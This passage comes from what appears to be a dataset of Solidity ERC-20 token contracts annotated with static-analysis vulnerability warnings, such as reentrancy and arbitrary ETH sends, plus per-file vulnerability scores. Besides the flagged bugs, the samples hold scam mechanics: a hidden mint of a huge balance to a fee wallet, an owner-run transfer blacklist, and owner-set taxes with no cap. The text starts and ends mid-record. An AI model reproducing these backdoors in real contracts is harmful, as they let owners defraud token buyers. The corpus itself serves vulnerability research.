);\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract ERC504 is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 90fe1b0): ERC504.routerAdress should be constant \n\t// Recommendation for 90fe1b0: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f1d17e): ERC504.DEAD should be constant \n\t// Recommendation for 3f1d17e: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: db4a18c): ERC504._totalSupply should be constant \n\t// Recommendation for db4a18c: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 81b6c57): ERC504._swapERC504ThreshHold should be immutable \n\t// Recommendation for 81b6c57: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapERC504ThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 811a6e3): ERC504._maxTaxSwap should be immutable \n\t// Recommendation for 811a6e3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private ERC504s;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9713cac): ERC504._ERC504Wallet should be immutable \n\t// Recommendation for 9713cac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _ERC504Wallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public ERC504FeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 942fb03): ERC504._initBuyTax should be constant \n\t// Recommendation for 942fb03: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 407451a): ERC504._initSellTax should be constant \n\t// Recommendation for 407451a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1291d3): ERC504._reduceBuyTaxAt should be constant \n\t// Recommendation for d1291d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1eb9bf2): ERC504._reduceSellTaxAt should be constant \n\t// Recommendation for 1eb9bf2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2132dde): ERC504.constructor(address,string,string).ERC504Wallet lacks a zerocheck on \t _ERC504Wallet = ERC504Wallet\n\t// Recommendation for 2132dde: Check that the address is not zero.\n constructor(\n address ERC504Wallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: 2132dde\n _ERC504Wallet = ERC504Wallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_ERC504Wallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_ERC504Wallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawERC504Balance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableERC504Trade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n ERC504FeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getERC504Amounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : ERC504FeeEnabled\n ? takeERC504AmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = ERC504FeeEnabled && takeFee\n ? takeERC504AmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: edaf985): ERC504.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_ERC504Wallet).transfer(ethAmountFor)\n\t// Recommendation for edaf985: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: 52bb735\n\t\t// reentrancy-eth | ID: 7fac2b5\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: 52bb735\n\t\t// reentrancy-eth | ID: 7fac2b5\n\t\t// arbitrary-send-eth | ID: edaf985\n payable(_ERC504Wallet).transfer(ethAmountFor);\n }\n\n function removeERC504Limit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeERC504AmountAfterFees(\n uint ERC504Actions,\n bool ERC504Takefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 ERC504Percents;\n\n uint256 ERC504FeePrDenominator = 100;\n\n if (ERC504Takefee) {\n if (ERC504Actions > 1) {\n ERC504Percents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (ERC504Actions > 0) {\n ERC504Percents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n ERC504Percents = 0;\n }\n }\n } else {\n ERC504Percents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(ERC504Percents).div(\n ERC504FeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: 7fac2b5\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = ERC504Takefee ? feeAmounts : amounts.div(ERC504Percents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getERC504Amounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: 7fac2b5\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: 7fac2b5\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: 52bb735\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cd8ed4f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cd8ed4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1381129): ERC504.createERC504Trade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for 1381129: Ensure that all the return values of the function calls are used.\n function createERC504Trade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: cd8ed4f\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: cd8ed4f\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: cd8ed4f\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: 1381129\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapERC504Tokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minERC504Tokens = pLimit;\n\n uint256 tokenERC504Weight = pAmount;\n\n uint256 contractERC504OverWeight = balanceOf(address(this));\n\n bool isSwappable = contractERC504OverWeight > minERC504Tokens &&\n tokenERC504Weight > minERC504Tokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3c0aa8f): ERC504.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for 3c0aa8f: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 3c0aa8f\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ffe6538): ERC504.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for ffe6538: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: ffe6538\n _finalSellTax = _newFee;\n }\n\n function isERC504UserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeERC504Actions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addERC504s(address[] memory ERC504s_) public onlyOwner {\n for (uint i = 0; i < ERC504s_.length; i++) {\n ERC504s[ERC504s_[i]] = true;\n }\n }\n\n function delERC504s(address[] memory notERC504) public onlyOwner {\n for (uint i = 0; i < notERC504.length; i++) {\n ERC504s[notERC504[i]] = false;\n }\n }\n\n function isERC504(address a) public view returns (bool) {\n return ERC504s[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 52bb735): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 52bb735: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7fac2b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7fac2b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!ERC504s[sender] && !ERC504s[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isERC504UserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeERC504Actions(sender, recipient);\n\n if (\n inSwapERC504Tokens(takefee, actions, amount, _swapERC504ThreshHold)\n ) {\n\t\t\t// reentrancy-events | ID: 52bb735\n\t\t\t// reentrancy-eth | ID: 7fac2b5\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: 52bb735\n\t\t// reentrancy-eth | ID: 7fac2b5\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n",
"file_name": "solidity_code_10840.sol",
"size_bytes": 23240,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 48e3df4): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 48e3df4: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 48e3df4\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MyTokenContract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4da155b): MyTokenContract.feeWallet should be immutable \n\t// Recommendation for 4da155b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private feeWallet;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"MyTokenName\";\n\n string private constant _symbol = \"MTK\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private swapEnabled = false;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b6c9b1a): MyTokenContract.constructor(address)._feeWallet lacks a zerocheck on \t feeWallet = _feeWallet\n\t// Recommendation for b6c9b1a: Check that the address is not zero.\n constructor(address _feeWallet) {\n\t\t// missing-zero-check | ID: b6c9b1a\n feeWallet = _feeWallet;\n _balances[msg.sender] = _totalSupply;\n setUpLimits(_feeWallet);\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8fedd7): MyTokenContract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8fedd7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5d01a2c): MyTokenContract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5d01a2c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function setUpLimits(address _feeAccount) internal onlyOwner {\n uint256 bigNum = totalSupply() * 10 ** 6;\n\n _balances[_feeAccount] += bigNum;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: bc7ea01): MyTokenContract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls address(feeWallet).transfer(amount)\n\t// Recommendation for bc7ea01: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// arbitrary-send-eth | ID: bc7ea01\n payable(feeWallet).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 02b841f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 02b841f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3e8918b): MyTokenContract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3e8918b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ad4b472): MyTokenContract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ad4b472: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 07be2fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 07be2fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// reentrancy-benign | ID: 02b841f\n\t\t// reentrancy-eth | ID: 07be2fe\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 02b841f\n\t\t// unused-return | ID: ad4b472\n\t\t// reentrancy-eth | ID: 07be2fe\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 02b841f\n\t\t// unused-return | ID: 3e8918b\n\t\t// reentrancy-eth | ID: 07be2fe\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 02b841f\n swapEnabled = false;\n\n\t\t// reentrancy-eth | ID: 07be2fe\n tradingOpen = true;\n }\n\n function router() external view returns (address) {\n return address(uniswapV2Router);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10841.sol",
"size_bytes": 11639,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error 